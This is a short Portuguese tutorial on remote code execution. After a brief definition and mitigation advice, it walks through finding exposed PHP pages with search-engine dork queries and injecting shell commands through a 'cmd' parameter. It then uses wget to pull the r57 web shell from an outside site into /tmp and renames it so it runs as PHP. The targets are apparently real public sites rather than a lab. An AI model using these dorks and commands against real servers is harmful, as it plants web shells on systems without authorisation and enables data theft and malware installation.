Execução de código remoto (RCE)

A execução de código remoto (RCE) é uma grave vulnerabilidade de segurança que permite que invasores executem comandos arbitrários em sistemas remotos, geralmente sem autenticação. Isso pode ser explorado através de vulnerabilidades de software, injeção de código, upload de arquivos maliciosos e exploração de serviços e protocolos. Os impactos podem incluir roubo de dados, instalação de malware e modificação ou exclusão de informações. Para mitigar esse risco, é essencial manter o software atualizado, validar entradas de usuário, implementar firewalls, controlar o acesso e monitorar atividades suspeitas.

Ao utilizar as consultas

"inurl:faq.php & intext:"Warning: system() [function.system]" e "ext:php intext:"Warning: system() [function.system]"
, encontramos uma página que apresenta uma vulnerabilidade relacionada à função system() em arquivos PHP.

Ao examinar a página, notamos que ela solicita um link no formato .txt para execução do shell, porém, para que o shell seja executado corretamente, ele deve estar em formato .php.

Felizmente, encontramos um shell disponível em formato de texto neste link: http://www.c99php.com/shell/r57.txt.

Para contornar essa questão, modificamos a URL para /faq.php?cmd= e adicionamos o comando para mudar o diretório para /tmp e realizar o download do shell através do comando wget:

/faq.php?cmd= cd /tmp;wget http://www.c99php.com/shell/r57.txt

Assumindo que o download foi bem-sucedido, verificamos se o arquivo r57.txt foi corretamente armazenado no diretório /tmp com o comando:

/faq.php?cmd=cd /tmp;ls -la r57.txt

Uma vez confirmado o upload bem-sucedido, renomeamos o arquivo de r57.txt para check.php para garantir que seja reconhecido como um script PHP:

/faq.php?cmd=cd /tmp;mv r57.txt check.php

Dessa forma, conseguimos executar o shell em PHP, tornando-o acessível e funcional na página vulnerável. Este procedimento exemplifica o funcionamento da exploração da vulnerabilidade através da carga do web shell.